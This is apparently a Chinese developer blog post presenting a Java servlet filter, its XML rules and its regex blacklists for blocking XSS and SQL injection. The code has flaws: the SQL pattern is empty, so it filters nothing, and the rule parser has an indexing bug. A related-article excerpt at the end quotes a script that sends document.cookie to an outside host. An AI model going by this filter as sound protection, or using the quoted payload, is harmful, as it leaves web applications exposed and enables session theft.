防sql注入和跨脚本攻击

最新推荐文章于 2024-08-16 18:08:04 发布
最新推荐文章于 2024-08-16 18:08:04 发布
阅读量287 收藏
点赞数
分类专栏： Java Web技术分析 文章标签： sql 脚本 java web
公司做的一个web项目中有这个功能，记录并学习下。在web系统中很多页面有文本输入的功能，有些不严谨的程序，通过写一些特殊字符，js片段，sql脚步会导致程序出现bug，现在通过一个统一的功能进行屏蔽。主要通过过滤器、xml解析的机制实现。
1、首先在web.xml里面增加过滤器配置。 

 <!-- 防sql注入和跨脚本攻击 -->
   <filter>
    <filter-name>webSecurityFilter</filter-name>
    <filter-class>com.zhgl.filter.WebSecurityFilter</filter-class>
	<init-param>
      <param-name>filter_xss</param-name>
      <param-value>true</param-value>
    </init-param>
	<init-param>
      <param-name>filter_sql_injection</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>

2、过滤器功能代码 

/**
 * project : yyzhglpt_public
 * package ：com.zhgl.filter
 * file : WebSecurityFilter.java
 */
package com.zhgl.filter;

import java.io.IOException;
import java.util.Map;
import java.util.Set;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.yyzhglpt.util.StringUtil;
import com.zhgl.util.MessageStreamResult;

/**
 * Specification : 文档说明
 */
public class WebSecurityFilter implements Filter
{
    public static final String FILTER_XSS_PARAM_NAME = "filter_xss";

    public static final String FILTER_SQL_INJECTION_PARAM_NAME = "filter_sql_injection";

    boolean filterXSS = true;

    boolean filterSQL = true;

    @Override
    public void destroy()
    {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
        throws IOException, ServletException
    {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        WebXssEscapeFilterUtil filterUtil = WebXssEscapeFilterUtil.getInstance();
        String cutUrl = ((HttpServletRequest)request).getRequestURI();
        String cutedUrl = cutUrl.substring(cutUrl.lastIndexOf("/") + 1);
        String actionName = request.getParameter("action");
        if (StringUtil.isNotEmpty(cutedUrl) && StringUtil.isNotEmpty(actionName))
        {
            WebXssEscapeFilterRule urlRule = filterUtil.getFilterRule(cutedUrl, actionName);
            if (urlRule != null)
            {
                Map<String, String[]> paramMap = request.getParameterMap();
                Set<String> entries = paramMap.keySet();
                for (String entry : entries)
                {
                    String paramName = entry;
                    String[] valueObj = paramMap.get(paramName);
                    if (urlRule.getParams().contains(paramName))
                    {
                        for(String str: valueObj){
                            if(!urlRule.getDefender().doFilter(str)){
                                if("html".equals(urlRule.getResultType())){
                                    try
                                    {
                                        MessageStreamResult.msgStreamResult(response, "您输入的参数有非法字符，请输入正确的参数！");
                                        return;
                                    }
                                    catch (Exception e)
                                    {
                                        // TODO Auto-generated catch block
                                        e.printStackTrace();
                                    }
                                }else if("json".equals(urlRule.getResultType())){
                                    try
                                    {
                                        MessageStreamResult.msgStreamResult(response, "{\"msg\":\"您输入的参数有非法字符，请输入正确的参数！\",\"success\":false}");
                                        return;
                                    }
                                    catch (Exception e)
                                    {
                                        // TODO Auto-generated catch block
                                        e.printStackTrace();
                                    }
                                }
                               // {\"msg\":\"\",\"success\":true}
                            }
                        }
                    }

                }
            }
        }

        //WebSecurityWrapper wrapper = new WebSecurityWrapper(servletRequest, WebXssEscapeFilterUtil.getInstance());
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void init(FilterConfig config)
        throws ServletException
    {
        String filterXSSParam = config.getInitParameter(FILTER_XSS_PARAM_NAME);
        String filterSQLParam = config.getInitParameter(FILTER_SQL_INJECTION_PARAM_NAME);
        filterXSS = new Boolean(filterXSSParam);
        filterSQL = new Boolean(filterSQLParam);
    }

}



3、哪些action需要进行过滤，具体的哪些字段需要过滤，通过xss-servlet-filter-rule.xml文件配置规则。 


<?xml version="1.0" encoding="UTF-8"?>
<config>
	<!-- 默认过滤规则 -->
	<default>
		<defender>
			<name>xssDefaultDefender</name>
			<class>com.zhgl.filter.defender.DefaultDefender</class>
		</defender>
	</default>
	<!-- url规则设置 -->
	<url-rule-set>
		<url-rule><!-- 一个xxx.do一个url-rule   -->
			<url>jxfa.do</url><!-- 拦截的URL -->
			<actions>
				<action name="saveFa" resultType="html"><!-- 具体的action名称可多个    请求链接的返回类型 html 为 普通的字符流  json为返回普通接送字符流-->
					<params>
						<param name="famc"/><!-- 需要拦截验证是否有特殊字段的字段  目前特殊字符为  < > '  "  /  &  \  -->
						<param name="fams"/><!-- 需要拦截验证是否有特殊字段的字段   目前特殊字符为  < > '  "  /  &  \  -->
					</params>
				</action>
				<action name="test" resultType="json">
					<params>
						<param name="query1" />
						<param name="query2" />
						<param name="query3" />
					</params>
				</action>
			</actions>
		</url-rule>
</url-rule-set>
</config>

4、解析xss-servlet-filter-rule.xml文件相关的类。
1）、WebSecurityWrapper类 

/**
 * Copyright 2014 winning, Inc. All rights reserved.
 * project : yyzhglpt_public
 * package ：com.zhgl.filter
 * file : WebSecurityWrapper.java
 * date ：2015-11-23
 */
package com.zhgl.filter;

import java.util.HashMap;
import java.util.Map;
import java.util.Set;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

/**
 * Specification : 文档说明
 */
public class WebSecurityWrapper  extends HttpServletRequestWrapper {
	private static final String EVENTS = "((?i)onload|onunload|onchange|onsubmit|onreset" + "|onselect|onblur|onfocus|onkeydown|onkeypress|onkeyup"
	    + "|onclick|ondblclick|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup)";
	//private static final String XSS_HTML_TAG = "(%3C)|(%3E)|[<>]+|[']+|[\"]+|(%27)|(%22)|(%2527)";
	//private static final String XSS_INJECTION = "((%22%20)|(%22\\s)|('%22)|(%22\\+))\\w.*|(\\s|%20)" + EVENTS + ".*|(%3D)";
	//private static final String XSS_REGEX = XSS_HTML_TAG + "|" + XSS_INJECTION;
	private static final String XSS_REGEX = "(%3C)|(%3E)|[<>]+";
	private static final String SQL_REGEX = "";

	boolean filterXSS = true;
	boolean filterSQL = true;

	public WebSecurityWrapper(HttpServletRequest request, boolean filterXSS, boolean filterSQL) {
		super(request);
		this.filterXSS = filterXSS;
		this.filterSQL = filterSQL;
	}

	public WebSecurityWrapper(HttpServletRequest request) {
		this(request,true,true);
	}


	@Override
	public String getParameter(String name) {
	  String value = super.getParameter(name);
	  return filterParamString(value);
	}

	@Override
	public Map<String, String[]> getParameterMap() {
	  Map<String, String[]> rawMap = super.getParameterMap();
	  Map<String, String[]> filteredMap = new HashMap<String, String[]>(rawMap.size());
	  Set<String> keys = rawMap.keySet();
	  for (String key : keys) {
	    String[] rawValue = rawMap.get(key);
	    String[] filteredValue = filterStringArray(rawValue);
	    filteredMap.put(key, filteredValue);
	  }
	  return filteredMap;
	}

	protected String[] filterStringArray(String[] rawValue) {
	  String[] filteredArray = new String[rawValue.length];
	  for (int i = 0; i < rawValue.length; i++) {
	    filteredArray[i] = filterParamString(rawValue[i]);
	  }
	  return filteredArray;
	}

	@Override
	public String[] getParameterValues(String name) {
	  String[] rawValues = super.getParameterValues(name);
	  if (rawValues == null)
	    return null;
	  String[] filteredValues = new String[rawValues.length];
	  for (int i = 0; i < rawValues.length; i++) {
	    filteredValues[i] = filterParamString(rawValues[i]);
	  }
	  return filteredValues;
	}

	protected String filterParamString(String rawValue) {
	  if (rawValue == null) {
	    return null;
	  }
	  if (filterXSS()) {
	   	rawValue = rawValue.replaceAll(XSS_REGEX, "");


	  }
	  if (filterSQL()) {
	    rawValue = rawValue.replaceAll(SQL_REGEX, "");
	  }
	  return rawValue;
	}


	@Override
	public Cookie[] getCookies() {
		Cookie[] existingCookies = super.getCookies();
		if(existingCookies != null) {
		  for(int i=0;i<existingCookies.length;++i) {
			  Cookie cookie = existingCookies[i];
			  cookie.setValue(filterParamString(cookie.getValue()));
		  }
		}
	  return existingCookies;
	}

	@Override
	public String getQueryString() {
	  return filterParamString(super.getQueryString());
	}

	protected boolean filterXSS() {
	  return filterXSS;
	}

	protected boolean filterSQL() {
	  return filterSQL;
	}
}


2）、WebXssEscapeFilterConfig类 

/*
 * 文 件 名:  WebXssEscapeFilterConfig.java
 */
package com.zhgl.filter;

import java.io.InputStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Element;
import org.w3c.dom.NodeList;

import com.zhgl.filter.defender.Defender;

/**
 * <一句话功能简述> <功能详细描述>
 * 
 * @author 姓名 工号
 * @version [版本号, 2015-12-2]
 * @see [相关类/方法]
 * @since [产品/模块版本]
 */
public class WebXssEscapeFilterConfig
{

    private static final String DEFAULT_FILTER_RULE_FILENAME = "xss-servlet-filter-rule.xml";

    private Map<String, Map<String, WebXssEscapeFilterRule>> urlRuleSetMap = new HashMap();

    private Defender defaultDefender = null;

    public WebXssEscapeFilterConfig()
        throws IllegalStateException
    {
        this(DEFAULT_FILTER_RULE_FILENAME);
    }

    public WebXssEscapeFilterConfig(String filename)
        throws IllegalStateException
    {
        try
        {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = factory.newDocumentBuilder();
            InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(filename);
            Element rootElement = builder.parse(is).getDocumentElement();
            addDefaultInfo(rootElement);
            addUrlRuleSet(rootElement);
            System.out.println("配置文件初始化");
        }
        catch (Exception e)
        {
            throw new IllegalStateException("配置文件xss-servlet-filter-rule.xml读取异常.", e);
        }
    }

    private void addDefaultInfo(Element rootElement)
    {

        NodeList nodeList = rootElement.getElementsByTagName("default");
        if (nodeList.getLength() > 0)
        {
            Element defaultE = (Element)nodeList.item(0);
            nodeList = defaultE.getElementsByTagName("defender");
            if (nodeList.getLength() > 0)
            {
                String clazz = getTagContent((Element)nodeList.item(0), "class");
                try
                {
                    defaultDefender = (Defender)Class.forName(clazz.trim()).newInstance();
                }
                catch (Exception e)
                {
                    throw new IllegalStateException("defender初始失败！", e);
                }

            }

        }

    }

    private void addUrlRuleSet(Element rootElement)
    {
        NodeList nodeList = rootElement.getElementsByTagName("url-rule");
        for (int i = 0; (nodeList.getLength() > 0) && (i < nodeList.getLength()); i++)
        {
            Element element = (Element)nodeList.item(i);
            addUrlRule(element);
        }
    }

    private void addUrlRule(Element element)
    {
        Map paramRuleMap = null;
        String url = null;
        Element actionsElement = null;

        NodeList nodeList = element.getElementsByTagName("url");
        if (nodeList.getLength() > 0)
        {
            url = nodeList.item(0).getTextContent();
        }

        if (url != null)
        {
            nodeList = element.getElementsByTagName("actions");
            if (nodeList.getLength() > 0)
            {
                actionsElement = (Element)nodeList.item(0);
                if (actionsElement != null)
                {

                    Map<String,WebXssEscapeFilterRule> ls = addActionParamsRule(actionsElement);

                    if (ls.size() > 0)
                    {
                        urlRuleSetMap.put(url, ls);
                    }
                }
            }
        }

    }

    private Map<String, WebXssEscapeFilterRule> addActionParamsRule(Element element)
    {
        Map<String, WebXssEscapeFilterRule> ls = new HashMap<String, WebXssEscapeFilterRule>();
        NodeList nodeList = element.getElementsByTagName("action");
        for (int i = 0; (nodeList.getLength() > 0) && (i < nodeList.getLength()); i++)
        {
            Element element_t = (Element)nodeList.item(i);

            String actionName = element_t.getAttribute("name");
            String resultType = element_t.getAttribute("resultType");
            if (actionName == null || resultType == null)
            {
                continue;
            }

            List<String> params = new ArrayList<String>();
            NodeList nodeListt = element_t.getElementsByTagName("params");

            if (nodeListt.getLength() > 0)
            {
                Element element_params = (Element)nodeList.item(0);
                NodeList  nodeListtt = element_params.getElementsByTagName("param");
                for (int k = 0; (nodeListtt.getLength() > 0) && (k < nodeListtt.getLength()); k++)
                {
                    Element element_tt = (Element)nodeListtt.item(k);
                    String paramName = element_tt.getAttribute("name");
                    if (paramName == null)
                    {
                        continue;
                    }
                    params.add(paramName);
                }
            }
            if (params.size() == 0)
            {
                continue;
            }

            WebXssEscapeFilterRule rule = new WebXssEscapeFilterRule();
            rule.setActionName(actionName);
            rule.setResultType(resultType);
            rule.setParams(params);
            rule.setDefender(defaultDefender);
            ls.put(actionName, rule);
        }

        return ls;

    }

    private String getTagContent(Element eachElement, String tagName)
    {
        NodeList nodeList = eachElement.getElementsByTagName(tagName);
        if (nodeList.getLength() > 0)
        {
            return nodeList.item(0).getTextContent();
        }
        return "";
    }

    public Defender getDefaultDefender()
    {
        return this.defaultDefender;
    }

    public WebXssEscapeFilterRule getUrlParamRule(String url, String actionName, String paramName)
    {
        Map<String,WebXssEscapeFilterRule> listRule = (Map<String,WebXssEscapeFilterRule>)urlRuleSetMap.get(url);
        if(listRule == null){
            return null;
        }

       if( listRule.get(actionName) == null){
           return null;
       }else{
           WebXssEscapeFilterRule rule  = listRule.get(actionName) ;

          if( !rule.getParams().contains(paramName) ){
              return null;
          }else{
              return rule;
          }
       }

    }

    public WebXssEscapeFilterRule getUrlParamRule(String url, String actionName)
    {
        Map<String,WebXssEscapeFilterRule> listRule = (Map<String,WebXssEscapeFilterRule>)urlRuleSetMap.get(url);
        if(listRule == null){
            return null;
        }

       if( listRule.get(actionName) == null){
           return null;
       }else{
           WebXssEscapeFilterRule rule  = listRule.get(actionName) ;
           return rule;
       }

    }

}


3、WebXssEscapeFilterRule类 

/*
 * 文 件 名:  WebXssEscapeFilterRule.java
 */
package com.zhgl.filter;

import java.util.List;

import com.zhgl.filter.defender.Defender;

/**
 * <一句话功能简述> <功能详细描述>
 * 
 * @author 姓名 工号
 * @version [版本号, 2015-12-2]
 * @see [相关类/方法]
 * @since [产品/模块版本]
 */
public class WebXssEscapeFilterRule
{
    /**
     * action名称
     */
    private String actionName;
    /**
     * 返回类型
     */
    private String resultType;
    /**
     * 拦截器
     */
    private Defender defender;

    /**
     * 拦截的参数名称
     */
    private List<String> params;

    public String getActionName()
    {
        return actionName;
    }

    public void setActionName(String actionName)
    {
        this.actionName = actionName;
    }

    public String getResultType()
    {
        return resultType;
    }

    public void setResultType(String resultType)
    {
        this.resultType = resultType;
    }

    public List<String> getParams()
    {
        return params;
    }

    public void setParams(List<String> params)
    {
        this.params = params;
    }

    public Defender getDefender()
    {
        return defender;
    }

    public void setDefender(Defender defender)
    {
        this.defender = defender;
    }

}


4）、WebXssEscapeFilterUtil工具类 

/*
 * 文 件 名:  WebXssEscapeFilterUtil.java
 */
package com.zhgl.filter;

/**
 * <一句话功能简述> <功能详细描述>
 * 
 * @author 姓名 工号
 * @version [版本号, 2015-12-2]
 * @see [相关类/方法]
 * @since [产品/模块版本]
 */
public class WebXssEscapeFilterUtil
{

    private static WebXssEscapeFilterUtil xssUtil;

    private static WebXssEscapeFilterConfig config;

    private WebXssEscapeFilterUtil()
    {
        config = new WebXssEscapeFilterConfig();
    }

    public static WebXssEscapeFilterUtil getInstance()
    {
        return xssUtil;
    }

    public WebXssEscapeFilterRule getFilterRule(String url,String actionName){
        WebXssEscapeFilterRule urlRule = config.getUrlParamRule(url, actionName);
        return urlRule;
    }

 /*   public String doFilter(String url, String actionName, String paramName, String value)
    {
        WebXssEscapeFilterRule urlRule = config.getUrlParamRule(url, actionName, paramName);
        if (urlRule == null)
        {
            return value;
        }
        return urlRule.getDefender().doFilter(value);
    }*/

    static
    {
        try
        {
            xssUtil = new WebXssEscapeFilterUtil();
        }
        catch (Exception e)
        {
            throw new ExceptionInInitializerError(e);
        }
    }

}


5、默认的过滤规则接口类Defender.java 

/*
 * 文 件 名:  Defender.java
 */
package com.zhgl.filter.defender;

/**
 * <一句话功能简述>
 * <功能详细描述>
 * 
 * @author  姓名 工号
 * @version  [版本号, 2015-12-2]
 * @see  [相关类/方法]
 * @since  [产品/模块版本]
 */
public abstract interface Defender
{
    public abstract Boolean doFilter(String paramString);
}


6、规则接口的实现类DefaultDefender.java 

/*
 * 文 件 名:  defaultDefender.java
 */
package com.zhgl.filter.defender;

import java.util.regex.Pattern;

/**
 * <一句话功能简述>
 * <功能详细描述>
 * 
 * @author  姓名 工号
 * @version  [版本号, 2015-12-2]
 * @see  [相关类/方法]
 * @since  [产品/模块版本]
 */
public class DefaultDefender implements Defender
{
    private static final String XSS_REGEX = ".*[[<>]+|[']+|[\"]+|[/]+|[&]+|[\\\\]+].*";
    /**
     * 重载方法
     * @param paramString
     * @return
     */
    @Override
    public Boolean doFilter(String paramString)
    {
        Pattern pattern = Pattern.compile(XSS_REGEX); 
        if(!pattern.matcher(paramString).matches()){
            return true;
        }else{
            return false;
        }
    }

}



7、总结：实现思路主要通过过滤器将特殊字符进行过滤掉，在过滤器第一次执行的时候加载过滤规则并将保存到缓存中。
iteye_4696
关注
专栏目录
跨站脚本攻击（XSS）
weixin_44558065的博客
07-08 7971
XSS攻击 概念：XSS攻击是指攻击者利用网站程序对用户输入过滤不足的缺陷，输入可以显示在页面上或者对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。 实质：跨站脚本攻击本质上是一种将恶意脚本嵌入到当前页面中并执行的攻击方式。通常黑客通过“HTML注入”行为篡改网页，并插入恶意JavaScript（JS）脚本，从而在用户浏览网页时控制浏览器的行为。 产生原因：网站对用户提交的数据过滤不严格，导致用户提交的数据可以修改当前页面或者插入一段脚本。
防止SQL注入和跨站脚本攻击
i5252592的专栏
04-23 783
[code="java"] public class SecurityCommLocalUtil { // 防范跨站脚本攻击应该检查以下特殊字符 public static String checkHtmlEncode(String sText) { if (null == sText || sText.length() < 1) return ""; ...
跨站脚本攻击基础
giantbranch的专栏
05-20 8201
实验来源：合天网安实验室 实验目的什么的就自己过去看啊 这里把预备知识粘贴过来吧 预备知识       1）跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。       2）XSS工作原理       恶意web用户将代码植入到提供给其它用户使用的页面中，如
防止sql注入和跨站脚本攻击，跨站请求伪造以及一句话木马的学习记录
anyangyu0343的博客
04-12 298
以下是来自精通脚本黑客的学习记录 防止以上漏洞的最好的方式 一对用户的输入进行编码，对用户输入进行编码，然后存入数据库，取出时解码成utf-8 二对用户的输入进行过滤，过滤jscript，javascript，vbscript， <,>等等。 总结，先要转换掉<>字符让用户不能建立自己的html标记，然后防范已经有的html标记，通过过滤javascrip...
跨站脚本攻击
JustinNeil的博客
08-15 454
跨站脚本攻击概念攻击原理危害防范手段 概念   跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。 攻击原理   例如有一个论坛网站，攻击者可以在上面发布以下内容： <script>location.href="//domain.com/?c=" + document.cookie&l...
防sql注入和xss攻击， springmv拦截器
07-24
防sql注入和xss攻击， springmv拦截器，可自由调整需要拦截的字符
预防XSS攻击和SQL注入XssFilter
05-19
对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。 二、XSS漏洞的危害 （1）网络钓鱼，包括盗取各类用户账号； （2）窃取用户cookies资料，从而获取...
开发代码安全规范-防SQL注入和XSS跨站攻击代码编写规范.doc
07-14
"开发代码安全规范-防SQL注入和XSS跨站攻击代码编写规范" 随着技术的高速发展，Web应用被广泛使用，伴随而来的各种安全隐患也日益增加。其中，SQL注入和XSS跨站攻击是两个最为常见的安全漏洞类型。为了防止这些漏洞...
asp中一段防SQL注入的通用脚本
10-30
下面详细介绍这段防SQL注入的通用脚本，以便更好地理解和应用。 ##### 屏蔽通过地址栏攻击 ```vb url = Request.ServerVariables("QUERY_STRING") if InStr(url, ";") >= 1 then url = Replace(url, ";", "；"): ...
开发代码安全规范防SQL注入和XSS跨站攻击代码编写规范样本.doc
08-04
为了提高编程人员的安全意识和安全编程经验，本规范提供了防止SQL注入和XSS跨站脚本攻击的代码安全规范。 一、SQL注入攻击防范 1.1 什么是SQL注入攻击？ SQL注入攻击是指攻击者将恶意的SQL命令插入到Web表单递交...
跨站脚本攻击(XSS)
前行的博客
08-15 839
概念 XSS攻击，通常指通过'HTML注入'篡改了网页，插入恶意脚本，大多数是javascript或者指向脚本的链接，在用户浏览网页的时候，控制用户浏览器的一种攻击。主要的攻击对象是当前用户的个人信息。 对于XSS攻击者来说，JavaScript工作在渲染后的浏览器环境中，无法控制用户浏览器发出的HTTP头。 XSS的三种类型 反射型XSS：特点是黑客需要诱使用户点击一个恶意链...
XSS-跨站脚本攻击
最新发布
qq_64177395的博客
08-16 3226
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的1.2 XSS类型反射型也称为非持久型，这种类型的脚本是最常见的，也是使用最为广泛的一种，主要用于将恶意的脚本附加到URL地址的参数中。
跨站攻击脚本
weixin_34148340的博客
05-22 182
转载于:https://www.cnblogs.com/AtesetEnginner/p/10907035.html
网络安全——跨站脚本攻击
zkaqlaoniao的博客
12-09 895
跨站脚本攻击（Cross-site Scripting，通常称为XSS），是一种典型的Web程序漏洞利用攻击，在线论坛、博客、留言板等共享平台是跨站脚本攻击的典型目标。攻击者利用Web程序对用户输入检查不足的漏洞将可执行恶意脚本注入网站或Web应用，当用户访问网页时触发恶意脚本的执行，从而达到窃取用户个人数据、弹出广告，甚至篡改网页内容等攻击目的。
跨站脚本攻击xss-labs(1-20)靶机练手
duoba_an的博客
03-03 1830
XSS又叫CSS（Cross Site Script）跨站脚本攻击，是指恶意攻击者往web页面中插入恶意代码，当用户浏览该网页时，嵌入其中的恶意代码会被执行，从而达到恶意的特殊目的。XSS属于被动式的攻击。XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上，从而达到劫持用户会话的目的。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行，这样等同于完全控制了Web客户端的逻辑，在这个基础上，黑客或攻击者可以轻易地发动各种各样的攻击。
跨站脚本攻击(XSS)及防范措施
oscar999的专栏
04-22 4069
á 有两种表示方式： U+00C1 U+0041 U+0301 Unicode标准定义了四种范化形式： D： NFD 典型分解 KD： NFKD 规范分解，规范组成 C: NFC 兼容性分解 KC： NFKC 兼容性分解，规范组成 NF - normalization-type NO_DECOMPOSITION： 不分解， 不对字符串做任何范化 matplotlib ...
防止跨站攻击和sql注入的方法
weixin_34357928的博客
02-23 317
2019独角兽企业重金招聘Python工程师标准>>> ...
跨站脚本攻击漏洞（XSS）：基础知识和防御策略
热门推荐
weixin_43263566的博客
01-16 1万+
跨站脚本攻击漏洞-基础篇
什么是跨站点脚本攻击
weixin_45303938的博客
09-26 956
各位在做软件漏扫，尤其是Web应用系统漏扫时，可能会遇到系统存在跨站点脚本攻击（XSS）漏洞的警告，那今天就聊一下它。 概述 跨站点脚本攻击（Cross Site Scripting简称XSS）是一种常见的攻击行为，它是指恶意攻击者在应用系统的Web页面里插入恶意代码，当用户浏览该页面时，嵌入其中Web里面的恶意代码会被执行，从而达到攻击的目的。从原理上讲，跨站点脚本攻击与前面讲的SQL注入攻击一样，都是利用系统对用户输入检查不严格的漏洞，将用户数据变成了可执行的代码。一个完整的XSS过程是这样的： 攻击者
什么是SQL注入和跨站脚本攻击？
05-08
SQL注入攻击是指攻击者通过在应用程序的输入字段中插入或“注入”恶意的SQL代码，从而操纵后端数据库的执行。...为了防止跨站脚本攻击，开发人员需要对用户输入进行正确的验证、过滤和编码处理[^2]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值